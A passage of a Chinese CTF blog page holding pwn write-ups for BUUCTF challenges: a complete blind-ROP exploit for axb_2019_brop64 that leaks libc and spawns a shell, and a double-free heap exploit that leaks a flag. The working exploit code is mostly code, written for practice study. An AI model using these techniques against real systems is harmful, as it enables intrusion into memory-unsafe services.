class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.arch=<span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">libc=ELF(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_sh</span>():</span></span><br><span class="line">    <span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">        <span class="keyword">return</span> remote(sys.argv[<span class="number">1</span>], sys.argv[<span class="number">2</span>])</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> process(<span class="string">&quot;./axb_2019_brop64&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Force_find_padding</span>():</span></span><br><span class="line">    padding_length=<span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            padding_length=padding_length+<span class="number">1</span></span><br><span class="line">            sh = get_sh()</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            sh.send(<span class="string">&#x27;A&#x27;</span> * padding_length)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Goodbye!&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> sh.recvall():</span><br><span class="line">                <span class="keyword">raise</span> <span class="string">&quot;Programe not exit normally!&quot;</span></span><br><span class="line">            sh.close()</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            log.success(<span class="string">&quot;The true padding length is &quot;</span>+<span class="built_in">str</span>(padding_length-<span class="number">1</span>))</span><br><span class="line">            <span class="keyword">return</span> padding_length</span><br><span class="line">    log.error(<span class="string">&quot;We don&#x27;t find true padding length!&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Find_stop_gadget</span>(<span class="params">old_return_addr,padding_length</span>):</span></span><br><span class="line">    maybe_low_byte=<span class="number">0x0000</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = get_sh()</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            sh.send(<span class="string">&#x27;A&#x27;</span> * padding_length + p16(maybe_low_byte))</span><br><span class="line">            <span class="keyword">if</span> maybe_low_byte &gt; <span class="number">0xFFFF</span>:</span><br><span class="line">                log.error(<span class="string">&quot;All low byte is wrong!&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Hello&quot;</span> <span class="keyword">in</span> sh.recvall(timeout=<span class="number">1</span>):</span><br><span class="line">                log.success(<span class="string">&quot;We found a stop gadget is &quot;</span> + <span class="built_in">hex</span>(old_return_addr+maybe_low_byte))</span><br><span class="line">                <span class="keyword">return</span> (old_return_addr+padding_length)</span><br><span class="line">            maybe_low_byte=maybe_low_byte+<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">            sh.close()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Find_brop_gadget</span>(<span class="params">libc_csu_init_address_maybe,padding_length,stop_gadget</span>):</span></span><br><span class="line">    maybe_low_byte=<span class="number">0x0000</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = get_sh()</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            payload  = <span class="string">&#x27;A&#x27;</span> * padding_length </span><br><span class="line">            payload += p64(libc_csu_init_address_maybe+maybe_low_byte) </span><br><span class="line">            payload += p64(<span class="number">0</span>) * <span class="number">6</span> </span><br><span class="line">            payload += p64(stop_gadget) + p64(<span class="number">0</span>) * <span class="number">10</span></span><br><span class="line">            sh.send(payload)</span><br><span class="line">            <span class="keyword">if</span> maybe_low_byte &gt; <span class="number">0xFFFF</span>:</span><br><span class="line">                log.error(<span class="string">&quot;All low byte is wrong!&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Hello&quot;</span> <span class="keyword">in</span> sh.recvall(timeout=<span class="number">1</span>):</span><br><span class="line">                log.success(</span><br><span class="line">                    <span class="string">&quot;We found a brop gadget is &quot;</span> + <span class="built_in">hex</span>(</span><br><span class="line">                        libc_csu_init_address_maybe+maybe_low_byte</span><br><span class="line">                    )</span><br><span class="line">                )</span><br><span class="line">                <span class="keyword">return</span> (libc_csu_init_address_maybe+maybe_low_byte)</span><br><span class="line">            maybe_low_byte=maybe_low_byte+<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">            sh.close()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Find_func_plt</span>(<span class="params">func_plt_maybe,padding_length,stop_gadget,brop_gadget</span>):</span></span><br><span class="line">    maybe_low_byte=<span class="number">0x0600</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = get_sh()</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            payload  = <span class="string">&#x27;A&#x27;</span> * padding_length </span><br><span class="line">            payload += p64(brop_gadget+<span class="number">9</span>) <span class="comment"># pop rdi;ret;</span></span><br><span class="line">            payload += p64(<span class="number">0x400000</span>)</span><br><span class="line">            payload += p64(func_plt_maybe+maybe_low_byte)</span><br><span class="line">            payload += p64(stop_gadget)</span><br><span class="line">            sh.send(payload)</span><br><span class="line">            <span class="keyword">if</span> maybe_low_byte &gt; <span class="number">0xFFFF</span>:</span><br><span class="line">                log.error(<span class="string">&quot;All low byte is wrong!&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;ELF&quot;</span> <span class="keyword">in</span> sh.recvall(timeout=<span class="number">1</span>):</span><br><span class="line">                log.success(</span><br><span class="line">                    <span class="string">&quot;We found a function plt address is &quot;</span> + <span class="built_in">hex</span>(func_plt_maybe+maybe_low_byte)</span><br><span class="line">                )</span><br><span class="line">                <span class="keyword">return</span> (func_plt_maybe+maybe_low_byte)</span><br><span class="line">            maybe_low_byte=maybe_low_byte+<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">            sh.close()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Dump_file</span>(<span class="params">func_plt,padding_length,stop_gadget,brop_gadget</span>):</span></span><br><span class="line">    process_old_had_received_length=<span class="number">0</span></span><br><span class="line">    process_now_had_received_length=<span class="number">0</span></span><br><span class="line">    file_content=<span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = get_sh()</span><br><span class="line">            <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">                sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">                payload  = <span class="string">&#x27;A&#x27;</span> * (padding_length - <span class="built_in">len</span>(<span class="string">&#x27;Begin_leak-----&gt;&#x27;</span>))</span><br><span class="line">                payload += <span class="string">&#x27;Begin_leak-----&gt;&#x27;</span></span><br><span class="line">                payload += p64(brop_gadget+<span class="number">9</span>) <span class="comment"># pop rdi;ret;</span></span><br><span class="line">                payload += p64(<span class="number">0x400000</span>+process_now_had_received_length)</span><br><span class="line">                payload += p64(func_plt)</span><br><span class="line">                payload += p64(stop_gadget)</span><br><span class="line">                sh.send(payload)</span><br><span class="line">                sh.recvuntil(<span class="string">&#x27;Begin_leak-----&gt;&#x27;</span> + p64(brop_gadget+<span class="number">9</span>).strip(<span class="string">&#x27;x00&#x27;</span>))</span><br><span class="line">                received_data = sh.recvuntil(<span class="string">&#x27;x0AHello&#x27;</span>)[:-<span class="number">6</span>]</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(received_data) == <span class="number">0</span> :</span><br><span class="line">                    file_content += <span class="string">&#x27;x00&#x27;</span></span><br><span class="line">                    process_now_had_received_length += <span class="number">1</span></span><br><span class="line">                <span class="keyword">else</span> :</span><br><span class="line">                    file_content += received_data</span><br><span class="line">                    process_now_had_received_length += <span class="built_in">len</span>(received_data)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">if</span> process_now_had_received_length == process_old_had_received_length :</span><br><span class="line">                log.info(<span class="string">&#x27;We get &#x27;</span> + <span class="built_in">str</span>(process_old_had_received_length) +<span class="string">&#x27; byte file!&#x27;</span>)</span><br><span class="line">                <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;axb_2019_brop64_dump&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> fout:</span><br><span class="line">                    fout.write(file_content)</span><br><span class="line">                <span class="keyword">return</span></span><br><span class="line">            process_old_had_received_length = process_now_had_received_length</span><br><span class="line">            sh.close()</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">padding_length=<span class="number">216</span></span><br><span class="line"><span class="keyword">if</span> padding_length <span class="keyword">is</span> null:</span><br><span class="line">    padding_length=Force_find_padding()</span><br><span class="line"></span><br><span class="line">old_return_addr=<span class="number">0x400834</span></span><br><span class="line"><span class="keyword">if</span> old_return_addr <span class="keyword">is</span> null:</span><br><span class="line">    sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">    sh.send(<span class="string">&#x27;A&#x27;</span> * padding_length)</span><br><span class="line">    sh.recvuntil(<span class="string">&#x27;A&#x27;</span> * padding_length)</span><br><span class="line">    old_return_addr=u64(sh.recvuntil(<span class="string">&#x27;Goodbye!&#x27;</span>).strip(<span class="string">&#x27;Goodbye!&#x27;</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;x00&#x27;</span>))</span><br><span class="line">    log.info(<span class="string">&#x27;The old return address is &#x27;</span>+ <span class="built_in">hex</span>(old_return_addr))</span><br><span class="line"></span><br><span class="line">stop_gadget=<span class="number">0x4007D6</span></span><br><span class="line"><span class="keyword">if</span> stop_gadget <span class="keyword">is</span> null:</span><br><span class="line">    stop_gadget=Find_stop_gadget(old_return_addr &amp; <span class="number">0xFFF000</span>,padding_length)</span><br><span class="line"></span><br><span class="line">brop_gadget=<span class="number">0x40095A</span></span><br><span class="line"><span class="keyword">if</span> brop_gadget <span class="keyword">is</span> null:</span><br><span class="line">    brop_gadget=Find_brop_gadget(old_return_addr &amp; <span class="number">0xFFF000</span>,padding_length,stop_gadget)</span><br><span class="line"></span><br><span class="line">func_plt=<span class="number">0x400635</span></span><br><span class="line"><span class="keyword">if</span> func_plt <span class="keyword">is</span> null:</span><br><span class="line">    func_plt=Find_func_plt(old_return_addr &amp; <span class="number">0xFFF000</span>,padding_length,stop_gadget,brop_gadget)</span><br><span class="line"></span><br><span class="line">is_dumped=<span class="literal">True</span></span><br><span class="line"><span class="keyword">if</span> is_dumped <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">True</span>:</span><br><span class="line">    Dump_file(func_plt,padding_length,stop_gadget,brop_gadget)</span><br><span class="line">    is_dumped=<span class="literal">True</span></span><br><span class="line"></span><br><span class="line">sh = get_sh()</span><br><span class="line">puts_got_addr=<span class="number">0x601018</span></span><br><span class="line">puts_plt_addr=<span class="number">0x400640</span></span><br><span class="line"></span><br><span class="line">payload  = <span class="string">&#x27;A&#x27;</span> * (padding_length - <span class="built_in">len</span>(<span class="string">&#x27;Begin_leak-----&gt;&#x27;</span>))</span><br><span class="line">payload += <span class="string">&#x27;Begin_leak-----&gt;&#x27;</span></span><br><span class="line">payload += p64(brop_gadget+<span class="number">9</span>) <span class="comment"># pop rdi;ret;</span></span><br><span class="line">payload += p64(puts_got_addr)</span><br><span class="line">payload += p64(puts_plt_addr)</span><br><span class="line">payload += p64(stop_gadget)</span><br><span class="line">sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">sh.send(payload)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;Begin_leak-----&gt;&#x27;</span> + p64(brop_gadget+<span class="number">9</span>).strip(<span class="string">&#x27;x00&#x27;</span>))</span><br><span class="line">puts_addr = u64(sh.recvuntil(<span class="string">&#x27;x0AHello&#x27;</span>)[:-<span class="number">6</span>].ljust(<span class="number">8</span>,<span class="string">&#x27;x00&#x27;</span>))</span><br><span class="line">libc_base = puts_addr - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system_addr = libc_base + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh_addr = libc_base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload  = <span class="string">&#x27;A&#x27;</span> * padding_length</span><br><span class="line">payload += p64(brop_gadget+<span class="number">9</span>) <span class="comment"># pop rdi;ret;</span></span><br><span class="line">payload += p64(bin_sh_addr)</span><br><span class="line">payload += p64(system_addr)</span><br><span class="line">payload += p64(stop_gadget)</span><br><span class="line">sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">sh.send(payload)</span><br><span class="line">sh.recv()</span><br><span class="line">sh.interactive()</span><br><span class="line">sh.close()</span><br></pre></td></tr></table></figure>

<h1 id="0x55-gyctf-2020-some-thing-exceting"><a href="#0x55-gyctf-2020-some-thing-exceting" class="headerlink" title="0x55.gyctf_2020_some_thing_exceting"></a>0x55.gyctf_2020_some_thing_exceting</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">sub_400896</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  FILE *fp; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v2; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>);</span><br><span class="line">  fp = fopen(<span class="string">&quot;/flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !fp )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Emmmmmm!Maybe you want Fool me!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  byte_6020A0 = <span class="number">0x60</span>;</span><br><span class="line">  fgets(s, <span class="number">0x2D</span>, fp);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在s的地方写了flag：</p>
<p><img src="/2021/12/08/BUU-PWN-0x50-0x5F/image-20211209163407055.png" alt="image-20211209163407055"></p>
<p>double free ，将flag的地址写到第一个free的fd指针，之后show的时候就会将flag打印出来。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level=&quot;debug&quot;</span></span><br><span class="line"></span><br><span class="line">p=remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">25003</span>)</span><br><span class="line"><span class="comment"># p=process(&#x27;./gyctf_2020_some_thing_exceting&#x27;)</span></span><br><span class="line">elf=ELF(<span class="string">&#x27;./gyctf_2020_some_thing_exceting&#x27;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">size_1,size_2,content_1=<span class="string">&#x27;1&#x27;</span>,content_2=<span class="string">&#x27;1&#x27;</span></span>):</span></span><br><span class="line">	p.recvuntil(<span class="string">&#x27;to do :&#x27;</span>)</span><br><span class="line">	p.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">	p.recvuntil(<span class="string">&quot;ba&#x27;s length : &quot;</span>)</span><br><span class="line">	p.sendline(<span class="built_in">str</span>(size_1))</span><br><span class="line">	p.recvuntil(<span class="string">&quot;ba : &quot;</span>)</span><br><span class="line">	p.send(content_1)</span><br><span class="line">	p.recvuntil(<span class="string">&quot;na&#x27;s length : &quot;</span>)</span><br><span class="line">	p.sendline(<span class="built_in">str</span>(size_2))</span><br><span class="line">	p.recvuntil(<span class="string">&quot;na : &quot;</span>)</span><br><span class="line">	p.send(content_2)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">index</span>):</span></span><br><span class="line">	p.recvuntil(<span class="string">&#x27;to do :&#x27;</span>)</span><br><span class="line">	p.sendline(<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">	p.recvuntil(<span class="string">&#x27;project ID : &#x27;</span>)</span><br><span class="line">	p.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span>(<span class="params">index</span>):</span></span><br><span class="line">	p.recvuntil(<span class="string">&#x27;to do :&#x27;</span>)</span><br><span class="line">	p.sendline(<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">	p.recvuntil(<span class="string">&#x27;Banana ID : &#x27;</span>)</span><br><span class="line">	p.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line">add(<span class="number">0x50</span>,<span class="number">0x50</span>,<span class="string">&#x27;aaaa&#x27;</span>,<span class="string">&#x27;bbbb&#x27;</span>)<span class="comment">#0</span></span><br><span class="line">add(<span class="number">0x50</span>,<span class="number">0x50</span>,<span class="string">&#x27;aaaa&#x27;</span>,<span class="string">&#x27;bbbb&#x27;</span>)<span class="comment">#0</span></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">backdoor = <span class="number">0x6020a0</span></span><br><span class="line">payload = p64(backdoor-<span class="number">8</span>)</span><br><span class="line">add(<span class="number">0x50</span>,<span class="number">0x50</span>, payload,payload)<span class="comment">#2</span></span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line">add(<span class="number">0x50</span>,<span class="number">0x50</span>)<span class="comment">#3</span></span><br><span class="line">add(<span class="number">0x50</span>,<span class="number">0x30</span>)<span class="comment">#4</span></span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line">show(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>


                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/12/01/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-12-08
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2022/02/05/2021%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#0x50-mrctf2020-shellcode-revenge%EF%BC%88%E5%8F%AF%E8%A7%81%E5%AD%97%E7%AC%A6shellcode%EF%BC%89"><span class="toc-text">0x50.mrctf2020_shellcode_revenge（可见字符shellcode）</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x51-hitcontraining-unlink%EF%BC%88unlink%EF%BC%89"><span class="toc-text">0x51.hitcontraining_unlink（unlink）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E4%B8%80%EF%BC%88%E5%AF%B9buu%E6%97%A0%E7%94%A8%EF%BC%89"><span class="toc-text">解法一（对buu无用）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E4%BA%8C"><span class="toc-text">解法二</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9D%A1%E4%BB%B6"><span class="toc-text">条件</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%88%E6%9E%9C"><span class="toc-text">效果</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%80%9D%E8%B7%AF"><span class="toc-text">思路</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x52-inndy-echo-fmt-str"><span class="toc-text">0x52.inndy_echo(fmt_str)</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x53-%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98-2019-Not-Bad-ret2shellcode"><span class="toc-text">0x53.[极客大挑战 2019]Not Bad(ret2shellcode)</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x54-axb-2019-brop64%EF%BC%88BROP%EF%BC%89"><span class="toc-text">0x54.axb_2019_brop64（BROP）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E4%B8%80%EF%BC%9Aret2libc"><span class="toc-text">解法一：ret2libc</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E4%BA%8C%EF%BC%9Abrop"><span class="toc-text">解法二：brop</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A1%AE%E5%AE%9A%E5%81%8F%E7%A7%BB%E9%87%8F"><span class="toc-text">确定偏移量</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AF%BB%E6%89%BEstop-gadget"><span class="toc-text">寻找stop gadget</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AF%BB%E6%89%BEBROP-gadget"><span class="toc-text">寻找BROP gadget</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AF%BB%E6%89%BEputs-plt"><span class="toc-text">寻找puts@plt</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%A9%E7%94%A8puts-plt%EF%BC%8CDump%E6%BA%90%E6%96%87%E4%BB%B6"><span class="toc-text">利用puts@plt，Dump源文件</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#EXP"><span class="toc-text">EXP</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x55-gyctf-2020-some-thing-exceting"><span class="toc-text">0x55.gyctf_2020_some_thing_exceting</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
